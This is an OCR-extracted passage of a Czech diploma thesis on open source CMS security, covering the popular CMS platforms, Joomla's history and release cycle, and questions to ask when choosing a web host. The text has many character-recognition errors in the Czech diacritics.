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ABSTRAKT

Diplomova prace feSi problematiku bezpecnosti open source redakénich systému. V
uvodni casti jsou predstaveny nejrozsifenéjsSi redakéni systémy pro spravu webovych
stranek véetné CMS Joomla, kterému se prace vénuje podrobnéji. Popsany jsou rozsifeni
pro zvySeni bezpecnosti, metody ochrany pied spamem, nejcastéjsi typy utokd,
bezpecnostni zdsady a doporucena nastaveni. Cilem této prace je piedevSim poskytnout
uzivateliim ptrehledny a uceleny soubor informaci, vedouci k bezpe¢nému pouzivani CMS
Joomla. Za timto ucelem jsou v praktické Casti vytvoreny webové stranky zabyvajici se
touto problematikou. V praktické ¢asti je také demonstrovana dvojice utokt a pouziti

skeneri webovych aplikaci.

Kli¢ova slova: Redaké¢ni systém, webova aplikace, Joomla!, open source, bezpecnost

ABSTRACT

This diploma thesis deals with the open source content management systems security. In
the first part author introduces most popular content management systems, including CMS
Joomla, described in more detail. In the following chapter author describes security
extensions, methods of spam protection, most common types of attacks, security policies
and recommended settings. The aim of this thesis is to provide users clear and
comprehensive set of information leading to safe usage of Joomla CMS. The website,
which is devoted to Joomla security, is built in the practical part. There is also a
demonstration of a pair of attacks and several web application vulnerability scanners

usage.

Keywords: Content Management System, web application, Joomla!, open source, security
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UvVOD

Kdyz se zrodil Word Wide Web, vytvofeni byt jen velmi jednoduché internetové stranky
vyzadovalo znalost jazyka HTML. Situace se castecné¢ zlepSila s prichodem
profesiondlnich editort, které zna¢né usnadnili tvorbu a aktualizaci webd. Skute¢nym
prulomem pak bylo zrozeni CMS — redakéniho systému pro spravu obsahu, s jehoz
implementaci se ztraci vétSina problémi spojenych se spravou webové prezentace. Tyto
aplikace umoznuji i netechnicky zalozenym uzivatelim zadavat ptispévky skrze vlastni
uzivatelské rozhrani bez znalosti jazyka HTML ¢&i jinych technickych dovednosti.
Nasazeni redakéniho systému bylo zpocatku vzhledem k pofizovacim nakladim vysadou
pouze velkych spolecnosti. Pfesto Ze se cena téchto aplikaci v priibéhu let rapidné snizila,
masivni roz$ifeni redakcnich systéml zpusobil az piichod volné dostupnych CMS

S otevienym kodem.

Open source redakéni systémy se stavaji stale popularnéjsimi a jejich zastoupeni na poli
webovych stranek roste s kazdym dnem. Jedna se o jednu znejsnazSich a finanéné
nejméné narocnych cest k vlastnim internetovym strankam. Diky dostupnym ndvodim a
podpofe ze strany webhostingovych spoleCnosti zvladnou instalaci a zékladni nastaveni
redakéniho systému 1 méné zkuSeni uZivatelé, ktefi nevénuji bezpecnostnim zasaddm
Zadnou pozornost a pln¢ diveéiuji produktu, ktery ma za sebou né€kolik let vyvoje a jeho

zabezpeceni tedy musi byt na dostatecné Grovni.

Stejné naivnim pohledem se Casto divaji i na samotného uto¢nika, ktery piece nebude
ztracet Cas ziskavanim piistupu K jejich osobnim strankam nebo blogu, na némz se
nenachazi zadné citlivé nebo jinak vyuzitelné informace. Zna¢nou ¢ast utokii ovsem
provadi uzivatelé Casto oznaCovani vyrazem ,.script kiddies®, kteti pomoci vyhledavacu
hledaji obéti, na jejichZz webu je nainstalovana zranitelnd komponenta nebo starSi verze
redakéniho systému nachylna k utoku. Volné dostupné databaze exploith nabizi desitky
zranitelnosti s podrobnym popisem a Casto 1 zpracovanym navodem ¢i konkrétnim
ptikladem vyuZiti na jednotlivé typy redakénich systémii. Provedeni takového ttoku pak
vyzaduje pouze zékladni uZivatelské znalosti a dovednosti. Nemaly pocet Utokd maji na
svédomi také roboti, ktefi méni obsah stranek za pomoci odcizenych ptistupovych udaja
ulozenych v oblibenych FTP klientech. Nelze tedy opomijet bezpecnost v domnéni, ze

stranky s neatraktivnim obsahem ziistanou V prostiedi internetu bez povSimnuti.
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1 REDAKCNI SYSTEM

Systém pro spravu obsahu neboli redakcni systém (v anglictiné Content Management
System - CMS) je software umoziujici vytvareni, indexaci, upravu, vyhledavani a
archivaci digitalnich médii nebo elektronického textu. V posledni dob¢ se slovo redakéni
systémy sklonuje s pojmem ,,tvorba webovych stranek®, ale neni to podminkou. Redak¢ni
systétmy mohou pracovat jak offline tak online. Pomoci redakéniho systému muizeme
publikovat texty, obrazky, videa, audio, a v neposledni fadé webové stranky. BéZnou
zalezitosti byva jednoduchd zména vzhledu pomoci velkého mnozstvi dostupnych Sablon.
Ke svému chodu vyzaduje valna vétSina redakénich systémti SQL server. Nejrozsifenéjsi je
kombinace jazyka PHP a databaze MySQL. Samotny redakéni systém obsahuje pouze
zakladni funkce, ty lze ale doplnit pomoci rozsifeni (plugint, komponent, moduli, bloki),
které jsou na strankdch vénovanych konkrétni aplikaci piehledné fazeny do kategorii.
V ptipadé¢ CMS WordPress nebo Drupal mohou uzivatelé vybirat z vice nez dvou desitek

tisic rozsifeni. Kvalitni redakéni systém dovoluje i laickému uZzivateli bez hlubsich znalosti

tvorby internetovych stranek realizovat a provozovat svou vlastni webovou prezentaci.

4 TYP03"7' N
Joomlal NaMoO
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Obr. 1. Popularni redakéni systémy™

Trh s CMS je Siroky a fada z nich je nabizena jako svobodny software. Existuji ale i
komerénich feSeni. CMS se Cleni dle riznych kritérii, naptiklad rozsahu feSeni, pouZzitého
vyvojového prostiedi nebo cilové skupiny. Nejjednodussi CMS jsou naprogramovany v

JavaScriptu (napi. TiddlyWiki), jiné pouzivaji PHP. Oblibena je i Java a dalsi jazyky.

! Pievzato z: http://www.sivantech.com/web-solutions/cms/
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1.1 Open source

Open source software je Sifen pod licenci, kterd zarucuje technickou i legéalni dostupnost
zdrojového kodu. Pti dodrzeni jistych podminek danych licenci je tak uzivatelim dovoleno
zdrojovy kod prohlizet, upravovat a Sifit. Open Source byl dfive vniman jako projekt
né¢jakého nadsené¢ho programatora z garaze, v poslednich letech se ale podle analytikt
stava pravé open source hlavnim inovatorem Vv oblasti software a po dlouhé dobé¢ tak

vystiidal proprietarni aplikace.?

Takika vSechen open Source software je zadroven i svobodnym softwarem a spousta lidi pro
ob¢ kategorie pouziva stejné oznacCeni. Rozdily mezi nimi nicméné jsou, ale pouze
minimalni. Open source akceptuje nékteré licence, které svobodny software povaZzuje za

ptili§ omezujici. Nékteré svobodné licence naopak zase neuznava open source.’

1.1.1 Definice svobodného software

Aby byl konkrétni softwarovy program povazovan za svobodny, musi spliiovat Ctyti

zakladni svobody

e Svoboda spustit program za jakymkoliv i¢elem

e Svoboda ptizptisobovat si program svym potiebam a studovat jej

e Svoboda redistribuovat kopie

e Svoboda vylepSovat program a zmény zvefejiiovat, aby z nich méla prospéch cela

komunita.

Samoziejmosti je piistupny zdrojovy koéd, bez né¢hoz by vySe zminéné svobody nebylo
mozné zajistit. UzZivatelé maji moznost redistribuovat kopie zdarma, nebo s poplatkem za
distribuci, nezévisle na tom zda jsou modifikované ¢i nikoli. Zaroven je také umoZnéno
modifikovanou verzi pouzivat bez nutnosti informovat komunitu o jeji existenci. Aby tyto
svobody byly zachovany, musi platit tak dlouho, dokud se svym jednanim uzivatel

neprovini. Vyvojaf svobodného software tedy nema moc zmenit licenci, aniz by mu k

2 PASTUCHOVA, Markéta. Open source piebira v oblasti softwaru klicovou roli. In: ICT manazer [onling].
2011 [cit. 2013-03-14]. Dostupné z: http://www.ictmanazer.cz/2011/11/open-source-prebira-v-oblasti-
softwaru-klicovou-roli/

¥ Kategorie svobodného a nesvobodného softwaru. Filosofie projektu GNU [online]. 2013 [cit. 2013-03-15].
Dostupné z: http://www.gnu.org/philosophy/categories.cs.html


http://www.ictmanazer.cz/2011/11/open-source-prebira-v-oblasti-softwaru-klicovou-roli/
http://www.ictmanazer.cz/2011/11/open-source-prebira-v-oblasti-softwaru-klicovou-roli/
http://www.gnu.org/philosophy/categories.cs.html
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tomu uzivatel svym jedndnim nezavdal pficinu. ,,Svobodny software neznamena
,hekomeréni“. Svobodny program musi byt dostupny i pro komer¢ni vyuziti. Komeréni

vyvoj svobodného software neni ni¢im neobvykl}'/m.4

1.1.2 Proces vydavani bezpe¢nostnich aktualizaci

Pro vétSinu open source redakénich systémil i jinych aplikaci s otevienym kdédem je

typicky proces hldsen chyb a vydavani bezpecnostnich zaplat. Tento cyklus se u

jednotlivych aplikaci lisi jen minimalné.

1) Zranitelnost mize identifikovat a nahlasit bezpe¢nostnimu tymu kdokoliv, véetné tymu
samotného. K nahlaseni vétSinou slouzi formuléf na strankach projektu.

2) Report je provéfen a poté je zhodnoceno potencialni nebezpeci. Pokud je aktivni
podpora pro vice verzi systému, bezpe¢nostni tym se zabyva i feSenim pro starsi verze.

3) V piipadg¢, Ze je hrozba potvrzena, dojde ke svolani tymu analytiku.

4) Na feSeni problému spolupracuji ¢lenové bezpe¢nostniho tymu s testery, spravci a
dal$imi zainteresovanymi osobami.

5) Zaplata je testovana a upravovana dokud neni vytvoteno finalni feSeni.

6) Zkouma se vliv bezpe¢nostni zaplaty na chovani systému a moduli.

7) Zaplata je uvolnéna na oficialnich strankach projektu.

8) Na existenci nové zaplaty je komunita upozornéna na socialnich sitich, pomoci RSS
kandlu a v prehledu aktualit. Kvalitni redakéni systémy upozoriiuji na existenci

. o T .5
aktualizace pfimo v administrativnim rozhrani.

1.2 Srovnani S proprietarnim reSenim

Z hlediska bezpec€nosti je rozdéleni na komeréni a open source aplikace zasadni. Rozdil
mezi nimi totiZ neni jen v cené, jak by se mohlo na prvni pohled zdat. Kazdé kategorie
s sebou piinasi jisté vyhody i nevyhody a komunita kolem nich haji svou volbu a na

konkurenci naopak ttoci.

* Definice svobodného software. Filosofie projektu GNU [online]. 2011 [cit. 2013-03-15]. Dostupné z:
http://www.gnu.org/philosophy/free-sw.cs.html

*> STEDRON, Bohumir. Open Source software ve vefejné spravé a soukromém sektoru. 1. vyd. Praha: Grada,
2009, 124 s. ISBN 9788024730479.
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1.2.1 Tvrzeni proti open source redakénim systémim

Twviirci komerénich feSeni zastavaji na open source piiblizné stejny nazor. Netyka se vSak
vSech projektt, nybrz pouze redak¢nich systémd, jako slozitych a Casto aktualizovanych

aplikaci s fadou volitelnych rozsiteni.

Cely komeréni redakéni systém véetné komponent je podle nich vytvaien tymem vyvojait
a nehrozi zde nejednotnost jako u open source projektii. Dlouhé roky vyvoje navic
z vétSiny CMS ucinili slozité obludy, kde uprava jakékoli malickosti Casto obnasi
modifikaci desitek dalSich funkci, které na ni zaviseji a jedna chyba se tak mlze §ifit celou
aplikaci. Upozornuji také na skuteCnost, ze valna vétSina open source CMS je
distribuovana pod jednou z vefejnych licenci typu GPL, jejiz soucésti byva i zminka o tom,
ze neni mozné pripadné vymahat Skody, které produkt zptsobi naptiklad kvili snadnému
hacknuti aplikace. V ptipad¢ tGspé$ného napadeni soukromého blogu nejsou nasledky
vétSinou nijak vazné. Pokud ale nékdo hackne komercni web s databazi privatnich udaj,
nastdva pro provozovatele obrovsky problém. Komponenty a moduly muze vytvaret
kdokoliv. Nikdo tedy nezaruci, ze rozsiteni dostate¢né oSetiuje veSkeré vstupy od
uzivatele, Ze je imunni vii¢i SQL injection, kradeZim sessions ¢i jinym Gtoktim. Velké open
source systémy vychazeji z pfedpokladu, Ze je tfeba piipravit co nejvice funkci, za ucelem
vzniku co nejuniverzalnéjsiho feSeni. Pravdépodobnost, ze v takovém mnozstvi funkci
najde utocnik bezpecnostni chybu, je daleko vyssi neZ u komerénich CMS §itych na miru

, ’ -6
zakaznikovi.

1.2.2 Obrana proti nim

Komer¢ni redakéni systém ve vétsing piipadt vyviji firmy, které maji k dispozici nékolik
vyvojaii nebo né€kolik desitek programatord. V hor§im piipadé vznikl redakéni systém
jako bakalafska ¢i seminarni prace studenta na technické univerzité. Takto vzniklé RS z
pravidla nemohou byt kvalitni a mit velky potencial. Maloktery komer¢ni redakéni systém
je neustale vyvijen a vylepSovan, vétSinou je po ukonceni vyvoje prodavan beze zmény

nékolik let jako hotové dilo.

® SINGR, Mgr. Michal. Opensource pro komeréni weby. Vazné?. In: NET-VORGv blok [online]. 2011 [cit.
2013-03-15]. Dostupné z: http://blok.net-vor.cz/opensource-pro-komercni-weby/
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Vyvojaiské jadro open Source CMS oproti tomu tvoii obvykle né€kolik stovek, ne-li
tisicovek vyvojari, ktefi se vyvoji redakéniho systému vénuji nikoliv kvili mzdg¢, ale kviili
z4jmu a potfebné seberealizaci. Kazdy takovy CMS ma kolem sebe vytvofenou obrovskou
komunitu uzivateli v poc¢tu nékolika milionii az nékolika desitek milioni. Urcita cast
téchto uzivatelti se také aktivné podili na testovani systému nebo novych verzi a vylepSeni,
nemluvé 0 podpofe pii feSeni problémil. Zadny z komerénich redakénich systémi se

takovym zazemim nemuze pochlubit.

Dal$im argumentem je obrovské mnozstvi komercnich firem, které si zalozili a spésné
rozvijeji byznys na tvorbé placenych rozsiteni a doplikd pro tyto open Source redakéni
systémy. Pravé mnozstvi rozsifeni a jejich rGznorodost je znakem kvality redakcéniho
systému, protoze zadny rozumny ¢lovék by nevytvaiel produkt, ktery chce prodavat za

desitky eur, pro redak¢ni systém, ktery nema potencial.

Dodavatel¢ komercnich redakénich systému se c¢asto ohdni poctem odhalenych
zranitelnosti open source CMS, ktery nékolikanasobné pievysuje hodnoty jejich produkti.
Rozdil je zpiisoben rliznym pfistupem obou stran. Zatimco vyvojaii komeréniho CMS
objevenou bezpecnostni diru v tichosti opravi, postup vyvojaifa open source CMS je
naprosto odliSny. Zranitelnost je odhalena vétSinou ve fazi testovani samotnou komunitou,
nikoli ato¢nikem. Chyba je popsdna, opravena a vSe je zvefejnéno pro potieby komunity
na strankach projektu. Hodnoceni bezpecnosti komerénich a open source CMS jen podle

téchto &isel je tedy velmi zkreslené.’

" KOVAL, Mgr. Imrich. Serial: Aka je bezpetnost Open Source redakénych systémov? Joomla, Drupal,
Magento, TYPO3, WordPress, ¢ast I. In: Merineo [online]. 2011 [cit. 2013-03-15]. Dostupné z:
http://www.merineo.sk/m-blog/serial-aka-je-bezpecnost-open-source-redakcnych-systemov-joomla-drupal-
magento-typo3-wordpress-cast-i.html
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2 NEJCASTEJI NASAZOVANE CMS

Z aktualni statistiky (bfezen 2013) vyplyva, Ze 32% z jednoho milionu nejpopularnéjSich
webovych stranek je postaveno na redakénim systému. Zbylych 68% tvoii statické ¢i
dynamické stranky, jejichz technologie nebyla algoritmem rozeznana. Tato pfiblizna jedna

tietina je dale rozd8lena mezi CMS, jejichz zastoupeni je nasledujici:®

1. WordPress 54.7%
2. Joomla! 8.5%
3. Drupal 7.2%
4. Blogger 3.8%
5. vBulletin 3.6%
6. Typo3 1.9%
7. DataLife Engine 1.7%
8. PHP Link Directory 1.5%
9. Discuz! 1.3%
10. phpBB 1.2%

Zbylé redak¢ni systémy jsou nasazeny v mén¢ nez jednom procentu piipadi. Nejedna se
ovsem o statistiku ¢eskych webt. Piiblizn€ polovina z testovanych stranek je v anglickém

jazyce. Cesky obsah ma pouze 0,6% z nich.

2.1 WordPress

Celu tabulky jednoznaéné dominuje WordPress, ktery ma i v tuzemsku poéetnou
komunitu. Jedna se o svobodny open source redakéni publikacni systém S uzivatelsky
ptivétivym prostfedim napsany v PHP a MySQL. Vznikl puvodné jako blogovaci
platforma v roce 2003. S ohledem na jeho kotfeny byly pfed n€kolika lety vedeny diskuze,
zda by mél byt vibec povazovdn za redakéni systém. Diky obrovské komunité a
neustalému vzniku novych rozsifeni dnes na WordPressu bézi miliony neblogovych webt,
zahrnujici vSe od jednoduchych vicestrankovych katalogli po plnohodnotné socidlni sité.

Pomoci plugini a vlastnich témat je mozné proménit WordPress na socialni sit’, diskusni

8 Usage of content management systems for websites. W3Techs [online]. 2013 [cit. 2013-03-16]. Dostupné z:
http://w3techs.com/technologies/overview/content_management/all
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forum, elektronicky obchod a dalsi typy webtl. Integrované funkce umoznuji od verze 3.0
vytvakeni siti blogti nebo jinych viceblogovych instalaci z jedné zakladni instalace.’
Na tomto CMS jsou postaveny znamé mezindrodni weby jako cnn.com, blogs.reuters.com

nebo blog.us.playstation.com. Z ¢eskych webovych stranek jsou to vuppraha.cz,

smsjm.vse.cz

@WORDPRESS

Obr. 2. Logo CMS WordPress®

2.1.1 Silné stranky

e Obrovska komunita vyvojati s velkym mnoZstvim navodu a tutorialti
e Bezplatné i placené rozsiteni, specializované témata pro konkrétni vyuziti webu

e Uzivatelsky jeden z nejptivétivejSich CMS diky intuitivni administraci

2.1.2 Slabé stranky

e Pro zékladni weby zbyte¢né pokrocily, proto nékdy pftilis pomaly

e Nutno doinstalovat dalsi pluginy pfi nasazeni za jinym uUcelem neZ jako blogovaci
systém

e Standartni instalace obsahuje velké mnozstvi bezpe€nostnich nedostatkii a bez
dalSich opatteni je velmi zranitelnd vii¢i utokiim

e Pro bezproblémovy béh nékterych rozsiteni vyzaduje vypnuty Safe Mode

e Nc¢které pluginy nejsou vzajemné slucitelné, mohou zapfti€init zpomaleni, nebo 1

omezeni funkénosti webu?t

% WordPress — &eska podpora. O WordPress [online]. 2013 [cit. 2013-03-16]. Dostupné z:
http://www.cwordpress.cz/

10 pyevzato z: http://blog.blueboard.cz/clanek/dalsi-skvele-pluginy-pro-wordpress/

1 CHAPMAN, Cameron. 10 nejlepsich redak&nich systémii (CMS). In: Interval.cz [online]. 2011 [cit. 2013-
03-16]. Dostupné z: http://interval.cz/clanky/10-nejlepsich-redakcnich-systemu-cms/


http://www.cwordpress.cz/
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2.2 Joomlal

Open source licence umoznuje redistribuovat alternativni vétev programu, kterd je

vyvijena nezavisle, pod jinym jménem a zpravidla i jinymi lidmi. Takova aplikace je pak

vvvvvv

Joomla je licencovana pod GNU General Public License a na svych webech ji s oblibou
pouzivaji jednotlivci, malé a stfedni podniky i velké organizace po celém svété. Joomla
slouzi pro ucely publikovani informaci na internetu i intranetu. Je napsana v jazyce PHP a
od verze 2.5 podporuje kromé MySQL dalsi typy databazi jako PostgreSQL, Oracle,
SQLite apod. Provozovat ji lze na webovém serveru s Apache nebo IIS. V zikladni
instalaci Joomla podporuje caching, RSS, tisknutelné verze stranek, indexaci stranek,
zobrazovani novinek, blogy, hlasovani, kalendaf, vyhledavani v ramci webu nebo
vicejazyéné verze stranek. Dalsi funkce jako chat, aukce, inzerce a dalsi mohou byt snadno

ptidany instalaci rozsifeni. Vystupem Joomly je HTML, CSS, a JavaScript.

Joomla pohani napiiklad stranky Harwardské univerzity, Holandského Telecomu,
Islandského Vodafonu ¢i spolecnosti Danone. Z ¢eskych webt patii mezi nejpopularnéjsi

portal ProZeny.cz patfici pod Seznam.

3 Joomlal!

...[because open source matters

Obr. 3. Logo CMS Joomla!*?

2.2.1 Zrozeni systému Joomla

PrestoZe se aplikace stala populdrni v roce 2005, jeji kofeny sahaji az do roku 2001, kdy
byl vytvofen open source CMS sniazvem Mambo, pivodné interni systém australské

spole¢nosti Miro Corporation. V roce 2005 doslo k vzajemnym neshodam mezi komunitou

12 ptevzato z http://kb.webhosting.uk.com/how-install-joomla-on-my-hosting-accountsite/
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a spoleCnosti, zastitujici vyvoj Mamba. V srpnu byl vyvoj Mamba ukonen a o mésic
pozdé&ji spattila svétlo svéta prvni verze projektu Joomla. Ta byla téméf identicka s
produktem Mambo 4.5.2.3. Byly pouze opraveny nékteré bezpe¢nostni chyby. Problémy
s organizaci projektu Mambo zpusobily, Ze se o néj open source komunita prestala zajimat

. - . . 13
a pln¢ se zaméfila na vyvoj systému Joomla.

Nazev Joomla! je anglicky foneticky piepis svahilského slova ,,jumla® [dzumla], které
znamena ,,vSichni dohromady* nebo ,,v celku“. Tento ndzev byl vybran jako zdvazek

vyvojaiského tymu a komunity k tomuto proj ektu.*

2.2.2 Jak Joomla pracuje

Redakéni systém je mnohem komplikovanéj$i nez bézny web. Jeho uzivani je paradoxné
mnohem jednodu$s$i nez tvorba statickych HTML soubor a k efektivnimu pouzivani

postaci uzivateli pouhé zakladni znalosti.

Interakce zacina, kdyZ si webovy prohlize¢ vyzada stranku z webového serveru. Prestoze
obsah adresniho fadku pfipomind pozadavek na jednoduchou HTML stranku, ve
skute¢nosti je aktivovan cely proces ziskavani dynamického obsahu. Pozadavek zpisobi
nacteni Casti systému Joomla webovym serverem a jeho provedeni v interpreteru PHP
tohoto serveru. Pozadavek je zpracovan redakénim systémem, pti¢emz zjisti, jaky obsah je
prohlize¢em vyzadovéan. Nasledné je vytvofeno spojeni s databazovym serverem a dany
¢lanek naéten z databaze. Ten je pak naformatovan podle stylu uzivatelské Sablony. Joomla
vytvoii obsah ve formatu HTML a odesle jej zp&t prohliZeci, ktery vSe prezentuje stejnym

zpiisobem jako statickou stranku.'®

3 RAHMEL, Dan. Joomla!: podrobny privodce tvorbou a spravou webii. Vyd. 1. Pieklad Ondfej Gibl.
Brno: Computer Press, 2010, 382 s. ISBN 9788025127148.

% Joomlal. In: Wikipedia: the free encyclopedia [online]. San Francisco (CA): Wikimedia Foundation, 2013
[cit. 2013-03-20]. Dostupné z: http://cs.wikipedia.org/wiki/Joomla!

® RAHMEL, Dan, Ref. 13
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Obr. 4. Schéma ziskdvani obsahu z webového serveru

2.2.3 Vyvojovy cyklus
Koncem roku 2011 byl pfijat vyvojovy plan, ktery zavedl nasledujici ¢islovani verzi:
major.minor. maintenance

e Major verze: obvykle pfinasi velkou zménu oproti predchozi verzi, napiiklad
zménu architektury nebo APL

e Minor verze: obvykle pfiddvd novou zasadni funkci pii zachovani stejné¢ho
datového modelu.

e Maintenance: obsahuje pouze bezpecnostni zaplaty a opravy chyb.

Vydané verze se dale déli na LTS a STS. LTS (s dlouhodobou podporou) je oznaCovana
minoritnim ¢islem 5. Jedna se o hlavni verzi podporovanou minimalné 1,5 roku a vychazet
by méla v dvou letych intervalech. STS (s kratkodobou podporou) je vydavéana kazdych 6
mesicl a stejna je 1 doba podpory. Tato verze je urCena pro vyvojafe a testovani

komunitou, nikoli k ostrému provozu.

18 ptevzato z RAHMEL, Dan, Ref. 13
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Tab. 1. Vyvojovy cyklus mezi LTS verzemi

Verze Datum vydani
2.5 (LTS) 2012-03
3.0 2012-09
3.1 2013-03
3.2 2013-09
3.5 (LTS) 2014-03

2.2.4 Silné stranky

e Od verze 2.5 pokrocila sprava uzivatelskych prav a vicejazyény web
e Velmi aktivni uZivatelska komunita a mnozstvi dokumentace k dispozici

e (Odd¢lena administrace stranek (backend) od uzivatelské casti (frontend)

2.2.5 Slabé stranky

e Sprava stranek neni tak intuitivni jako u jinych redakénich systému
e Rozsifeni Casto nejsou zpétné kompatibilni

e Pro jednoduché stranky prili§ pokrocily™’

2.3 Drupal

CMS Drupal vytvofil holandsky student Dries Buytaert a pojmenoval jej Drop. Tento
nazev vznikl z preklepu slova ,,dorp* — holandsky vesnice. Prvni vefejna verze se vSak jiz
jmenovala Drupal a opét vychazi z holandstiny, tentokrat z anglické vyslovnosti slova

,.drop* — druppel.*®

Redakéni systém Drupal piedstavuje vhodnou platformu pro vyvoj jakéhokoli typu
webovych stranek od jednoduchych osobnich a firemnich prezentaci, az po rozsahlé

portaly s riznym typem obsahu. Jiz v zékladni verzi umoziuje vytvafeni ¢lankd, stranek,

' CHAPMAN, Cameron, Ref. 11
8 O systému Drupal. Drupal.cz [online]. 2012 [cit. 2013-03-20]. Dostupné z: http://www.drupal.cz/o-
systemu-drupal
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anket, diskusnich for, komentait a blogti. Pfidanim moduld Ize doplnit stranky naptiklad o
fotogalerii nebo elektronicky obchod. Vétsina rozsiteni je navic dostupna zdarma. Drupal

je postaven moduladrnim zptisobem a jeho filozofii je ptehledny kod a otevienost API.

V ftadach vyvojaia Drupal pasobi nékolik odbornikii na bezpecnost. Proto je Drupal

24

Dobrou bezpecnostni referenci je napiiklad i to, Ze jej pouziva na svych strankach i1 Bily
Diim a jiné vladni organizace po celém svété. Mezi dalsi reference patii stranky hudebni

stanice MTV, oficialni stranky mésta Londyn nebo televize Prima.

@ Drupal

Obr. 5. Logo CMS Drupal®

2.3.1 Silné stranky

e Podpora komunity véetné¢ IRC kanald a osobnich setkani
e Velké mnozstvi nekomer¢nich moduli

e Spolecnosti nabizejici komeréni podporu systému Drupal

2.3.2 Slabé stranky

e Piili§ pokrocily pro jednoduché weby

e Oproti ostatnim CMS existuje malo kvalitnich témat

N 24

19 pievzato z: http://www.cms2cms.com/blog/cms2cms-drupal-migration-is-supported/
% CHAPMAN, Cameron, Ref. 11
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2.4 Blogger

Tuto sluzbu zacala vroce 1999 nabizet spolecnost Pyra Labs, ktera byla v roce 2003
zakoupena Googlem. Nejedna se o plnohodnotny redakéni systém, jako u piedeslych
aplikaci, ale pouze o blog hostovany na subdomén¢ blogspot.com. Do roku 2010 vsak bylo
mozné pouzivat Blogger na vlastnim hostingu. VSechny takto vzniklé blogy musely byt
pfesunuty na spolecny hosting poskytovany Googlem. Kromé publikovani ptispévk,
umoznuje sluzba sdilet blog mezi vice Ucty, zobrazovat AdSense, psani ¢lanki pomoci

WYSIWYG editoru i v HTML reZimu, pouZivat §ablony a vlastni doménu. **

Vzhledem k tomu, ze cely blog je umistén na serverech Google, ktery ma pravo blog
zablokovat pfi jakémkoliv provinéni, bylo by pii takto velkém poctu uzivatell takika

nemozné, domahat se vysvétleni.

2.5 vBulletin

Prvni pii¢ku v kategorii proprietarnich redakénich systémi obsadil vBulletin.
Z testovaného vzorku webu piesahuje pocet jeho instalaci hranici jednoho procenta. Stejné
jako predchozi redak¢ni systémy je napsan v jazyce PHP a neobejde se ani bez databaze
MySQL. Autofi James E. Limm a John Percival jej vytvofili pro vlastni internetové forum,
které do té doby pouzivalo flat file databazi, a s rostouci popularitou nemohlo vydrzet
napor uzivatel. Zanedlouho poté zaloZili spolecnost Jelsoft a jejich feSeni zacali prodavat
pod nazvem vBulletin 1. Skute¢né popularni se stala az druha verze, na jejiz tvorbé se
kromé& zakladatelt podileli jesté¢ dalsi dva vyvojafi. V roce 2007 zakoupila Jelsoft
spolecnost Internet Brands a déle jej vyviji. Kromé zdkladnich funkci obsahuje také forum,
blog nebo ankety. Samoziejmosti je kvalitni uzivatelska podpora. Aktualni verze vBulletin
5 nabizi pokrocilé uZivatelské rozhrani pro Gpravu Sablon pomoci jednoduché techniky
drag-and-drop. VBulletin na svych strankach provozuje naptiklad platforma Steam
spolecnosti Valve Corporation, EA Sports Game nebo NASA.?

21 Blogger (service). In: Wikipedia: the free encyclopedia [online]. San Francisco (CA): Wikimedia
Foundation, 2013 [cit. 2013-03-21]. Dostupné z: http://en.wikipedia.org/wiki/Blogger %28service%29

22 Frequently Asked Questions. VBulletin [online]. 2013 [cit. 2013-03-21]. Dostupné z:
http://www.vbulletin.com/fag/
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3 BEZPECNOST CMS JOOMLA

Snadnd instalace a sprava tohoto redakcniho systému je jednou z pficin obrovského rustu
jeho popularity. Miize byt provozovan témeét na jakémkoliv misté a za jakymkoliv ucelem.
At uz se jedna o portal nadnarodni spolecnosti, stranky malé firmy ¢i osobni blog, v§echna
tato feSeni budou spolehlivé pohanéna Joomlou, nezavisle na tom, zda se jedna o Windows
nebo Linux servery. Vyjmenovand feSeni vSak spojuje jedna dulezitd skuteCnost. Jsou
umisténa na webu, a to je misto, kde se pravidla a zakony ziidkakdy dodrzuji. Joomla jako
takovad je pomérn¢€ bezpecnd, ale Spatna konfigurace, zranitelnd rozsifeni a slabd hesla

mohou v dusledku zpusobit zna¢né skody.

3.1 Webhosting

Webhosting je sluzba, diky niz je mozné umistit webové stranky na internet, aniz bychom
museli mit vlastni server. Spolu s prostorem na svych serverech nabizi poskytovatelé
webhostingu také mnozstvi skriptovacich technologii jako PHP, ASP, JSP a jiné,
z databazi jsou nabizeny piedevsim MySQL, MS SQL a PostgreSQL.

3.1.1 Na co se ptat pri vybéru poskytovatele

Fyzickd bezpecnost byva pii vybéru webhostingové spolecnosti Casto opomijena. Sebelepsi
firewall vSak nezabrani poskozeni zafizeni ptirodnimi pohromami nebo kradezi samotného
datového nosice. Odpovédi na nasledujici otazky by mély mit pfi rozhodovani stejnou, ne-
11 vyssi prioritu.

e Je v budové nainstalovan ptistupovy systém? Jak je zabezpecen?

e Kontrolujete zaméstnance, zda nemaji kriminalni minulost?

e Jsou zaméstnanci seznameni s postupem pii pozarni ochrané?

e Jsou podlazi budovy zabezpecena fyzickou ochranou?

e Jakym zplisobem jsou zabezpecCeny dedikované servery?

e Jsou v datacentru okna? Jak jsou zabezpecena?

e Je v budové nainstalovan proti pozarni systém?

e Nachazi se budova v povodiiové zon¢?

e Jaky je zalozni zdroj energie? Jak dlouho dokéze systém napéjet?

e Nachazi se datacentrum v nadzemnim podlazi?

e Jsou dolni podlazi vybavena zéplavovymi detektory?
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e Je v datacentru nainstalovan zalozni chladici systém?

e Mate vypracovany havarijni plan? Jak asto je testovan a aktualizovan??®

Mnohé¢ z téchto zakladnich otazek nemuseji byt z bezpecnostnich diivodi zodpoveézeny, do
jisté miry totiz pfipominaji socialni inzenyrstvi, o jehoz hrozbé by méli byt zaméstnanci

pouceni.

3.1.2 Sdileny hosting

Nejrozsifenéjsi a nejekonomictéjsi feSeni, kdy poskytovatel pronajima prostor, piicemz
vypocetni vykon serveru mezi sebou sdili vSichni zdkaznici hostujici na stejném hardware.
Moduly, které 1ze u PHP vyuzit jsou pevné dané, stejn¢ jako doba b&hu skriptu a jina
omezeni. O server se plné stard poskytovatel. Provadi udrzbu, nastaveni zabezpeceni,
instalaci aktualizaci a patchd. Zakaznik je zodpov€dny pouze za obsah a provoz aplikaci na
svém vymezeném prostoru. VSe potiebné vcéetné emaili a FTP Ucth lze nastavit

V administra¢nim rozhrani.

Neziidka kdy nastane u tohoto typu hostingu situace, kdy je webova uzivatele napadena
skrze web jiného zdkaznika. Z toho diivodu je dillezité udrzovat aplikace na webu vzdy

aktualni a jasn¢ vymezit piisobnost skripti.

3.1.3 Dedikovany hosting

Vlastni server je idedlnim feSenim pro rozsahlé projekty a situace, kdy je vyzadovan vétsi
vypocetni vykon, garantovand vysoka rychlost pfipojeni nebo vlastni nastaveni
